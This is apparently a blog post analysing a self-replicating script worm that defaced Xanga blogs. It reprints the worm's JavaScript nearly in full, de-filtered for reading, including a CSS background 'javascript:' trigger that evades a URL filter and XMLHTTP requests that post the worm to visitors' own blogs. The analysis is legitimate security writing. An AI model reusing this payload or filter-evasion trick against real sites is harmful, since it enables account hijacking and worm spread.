Xanga Hit By Script Worm

Following in the footsteps of fellow blog provider MySpace, Xanga.com appears to have been infected with some kind of worm that compromises the accounts of blog users and replaces content on the sites in order to replicate.

Infected sites can easily be recognized by the following text:

xangas admin owned you.

im a motha fuckin balleR, DG4L.
greets to phrea,camzero,majestic,dgs
“got steve case up on the phone, bitch this camo youve been owned.”
free cam0.

More information as I have it.

[UPDATE: As of 0714 UTC on 31 December, Xanga was apparently shut down in a bid to contain the infection. The shutdown lasted a few minutes, but I have confirmed that the worm is being removed from infected sites, and has been rendered inert by recent changes made on xanga.com. My analysis of the worm follows.]

Technical Overview

The worm consists of a simple HTML/script combination, and is highly primitive in nature. The worm propagates by using the XMLHTTP interface in some browsers to create worm-infected posts on the xanga weblogs of users who visit an infected site while signed in. This approach blurs the line between worm and old-style file infecting viruses. I’ll refer to it as a worm for clarity, since most of the literature on the recent MySpace attack uses the same term. Of particular note is that the worm is ‘dumb’ — it will repeatedly repost itself to previously-infected sites. The attack is extremely noisy, with each post carrying the malware’s obnoxious message.

Aside from the fact that such immature and badly-written messages as the one dropped by the worm would already stand out on most xanga blogs (that I care to read, anyway), the incessant reposting as the worm spread more than likely caused serious clogging. As a result, this worm’s life was extremely short. It is already over as you’re reading this analysis.

It appears upon further research that this worm was a variant of the similar Exodus worm that went quietly and unnoticed on December 19th. It was only in researching this outbreak that I saw the reports of Exodus. It appears that neither worm was written by a very skilled individual, as both strains are easily uprooted, browser-specific, badly-structured, trivially-decoded, and unnecessarily bloated. The worm is technically unimpressive (particularly vis-a-vis Exodus) and is a feat on par with the scores of VBSWG tweaks and edits following the infamous “Kournikova” worm outbreak of 2001.

Cleanup

Xanga.com have taken steps to render existing worm code inert (namely to prevent copycat code from spreading), so users can clean up the worm infection by simply entering their sites in Safe Mode and removing the worm’s infected posts.

Detailed Analysis / Code

The first section of the code can easily be identified as the portion responsible for producing the obscene message:

<h4 class="itemTitle">xangas admin owned you.</h4>im a motha fuckin balleR, DG4L.<br>greets to phrea,camzero,majestic,dgs<br>"got steve case up on the phone, bitch this camo youve been owned."<br>free cam0.

The active portion of the worm is contained entirely in a DIV tag. It has three attributes (ID, STYLE, and CODE):

<DIV id=wormy style="BACKGROUND: url(java
script:ev
al(document.all.wormy.code))" code="[virus body]"></DIV>

The ‘background’ CSS property is used to refer to a background image for an element. The worm appears to use white space to evade the trivial ‘ ‘ URL filter in place on xanga.com. The background image URL is resolved by the browser to:

eval(document.all.wormy.code)

This small section of code triggers the worm’s execution. Alert readers will notice that this construct is a product of non-standard functionality in Internet Explorer. It fails to run in Firefox, as I suspect it does in many other alternative browsers.

I received the worm in an inert format that had been apparently disinfected by run-time filtering on xanga.com’s web site that was added after the infection began. I’ve slightly altered the code to make it more readable and to reverse the effects of the filtering.

The worm has a global portion of its code, as well as seven sub-routines. The global portion simply builds the defacement message above before handing off control to main, the worm’s dispatch procedure.

var chr = find(document.body.innerHTML,'style=','HEIGHT');
var J;
var con='im a motha fuckin balleR, DG4L.<br>greets to phrea,camzero,majestic,dgs<br>'+chr+'got steve case up on the phone, bitch this camo youve been owned.'+chr+'<br>free cam0.';
var code;
main()

The code in main reconstructs the worm’s source code using DHTML properties (using its find subprocedure to perform a simple text pattern search) and then calls the httpSend procedure. It delivers three arguments to httpSend:
[1] = STRING '/private/xtools/xtoolspremium.aspx'
[2] = REFERENCE to 'postwormy'
[3] = STRING 'GET'

function main(){
code='<D'+'IV id=wormy style='+chr+'BACKGROUND: url(java\nscript:ev\nal(document.all.wo'+'rmy.code'+find(document.body.innerHTML,'wo'+'rmy.code','<NO'+'SCR'+'IPT>')+'<NO'+'SCR'+'IPT>'
J=getXMLObj();
httpSend('/pri'+'vate/xto'+'ols/xtool'+'spremiu'+'m.a'+'spx',postwormy,'GET');
}

function find(BF,BB,BC){
var R=BF.indexOf(BB)+BB.length;
var S=BF.indexOf(BC,R+1);
return BF.substring(R,S)
}

The httpSend procedure accepts four arguments. This results in the fourth argument being undefined. The httpSend routine sets a callback procedure and then transmits the request:

function httpSend(BH,BI,BJ,BK){
if(!J){
return false
}
J.onreadystatechange=BI;
J.open(BJ,BH,true);
if(BJ=='POST'){
J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
J.setRequestHeader('Content-Length',BK.length)
}
J.send(BK);
return true
}

The postwormy routine is called when the HTTP transaction is complete. Once this has taken place, the worm has retreived a copy of /private/xtoolspremium.aspx, which is the posting form for writing and editing blog entries on Xanga.com. This callback function does the “dirty work” of the worm’s propagation, crafting a POST request to create a new blog entry. Some parts of the request are taken from the page it just retreived:

function postwormy(){
if(J.readyState!=4){
return
}
var AU=J.responseText;
var AS=new Array();
AS['__EVENTTARGET']='';
AS['__EVENTARGUMENT']='';
AS['__VIEWSTATE']=find(AU,'name='+chr+'__VIEWSTATE'+chr+' value='+chr,chr);
AS['txtTitle']='xangas admin owned you.';
AS['xformatblock']='removeFormat';
AS['xfontsize']='removeFormat';
AS['xformatblock']='removeFormat';
AS['txtProfImageName']='';
AS['proftitle1']='';
AS['proftitle2']='';
AS['proftitle3']='';
AS['xztitle1']='';
AS['xztitle2']='';
AS['xzasin1']='';
AS['radAccess']='1';
AS['chkComments']='on';
AS['btnSubmit']='Submit';
AS['txtUserId']=find(AU,'name='+chr+'txtUserId'+chr+' type='+chr+'text'+chr+' value='+chr,chr);
AS['xbgcolor']='';
AS['txtAcc']='0';
AS['xbordercolor']='';
AS['xcontent']=con+code;
AS['xcopypost']='0';
AS['xmsgs']='1';
J=getXMLObj();
httpSend('/pri'+'vate/xto'+'ols/xtool'+'spremiu'+'m.a'+'spx',stop,'POST',paramsToString(AS))
}

The getXMLObj routine is a helper in both cases. It tries various methods of obtaining XMLHTTP objects that are associated with different browsers, in an attempt to avoid creating a browser dependency. The object it returns is then used to conduct the worm’s HTTP session:

function getXMLObj(){
var Z=false;
if(window.XMLHttpRequest){
try{
Z=new XMLHttpRequest()
}
catch(e){
Z=false
}
} else if(window.ActiveXObject){
try{
Z=new ActiveXObject('Msxml2.XMLHTTP')
}catch(e){
try{
Z=new ActiveXObject('Microsoft.XMLHTTP')
}
catch(e){
Z=false
}
}
}
return Z
}

The stop function called as a callback during the POST request is a mere stub. It has no real purpose.

function stop(){
return
}

The paramsToString function is used during the generation of the request body for the worm’s POST request. It functions as a very simplistic URL encoder. The author elected not to use regular expressions for the replacement, and as a result, the loop in this routine is far more intensive than necessary:

function paramsToString(AV){
var N=new String();
var O=0;
for(var P in AV){
if(O>0){
N+='&'
}
var Q=escape(AV[P]);
while(Q.indexOf('+')!=-1){
Q=Q.replace('+','%2B')
}
while(Q.indexOf('&')!=-1){
Q=Q.replace('&','%26')
}
N+=P+'='+Q;
O++
}
return N
}

The worm is quite simple, and even more simple to block: simple text-based matching and filtering on keywords in the worm code appears to have been used to thwart the worm. Indeed, this worm is not much of a “big picture” concern, but it could very well reflect where malware will go in the future. As technology becomes increasingly web-dependent, expect malware to adapt and to begin targeting web application platforms. We’ve seen it with worms like Santy, and we’ll see more of it in the days to come.

Print Friendly, PDF & Email

Comments are closed.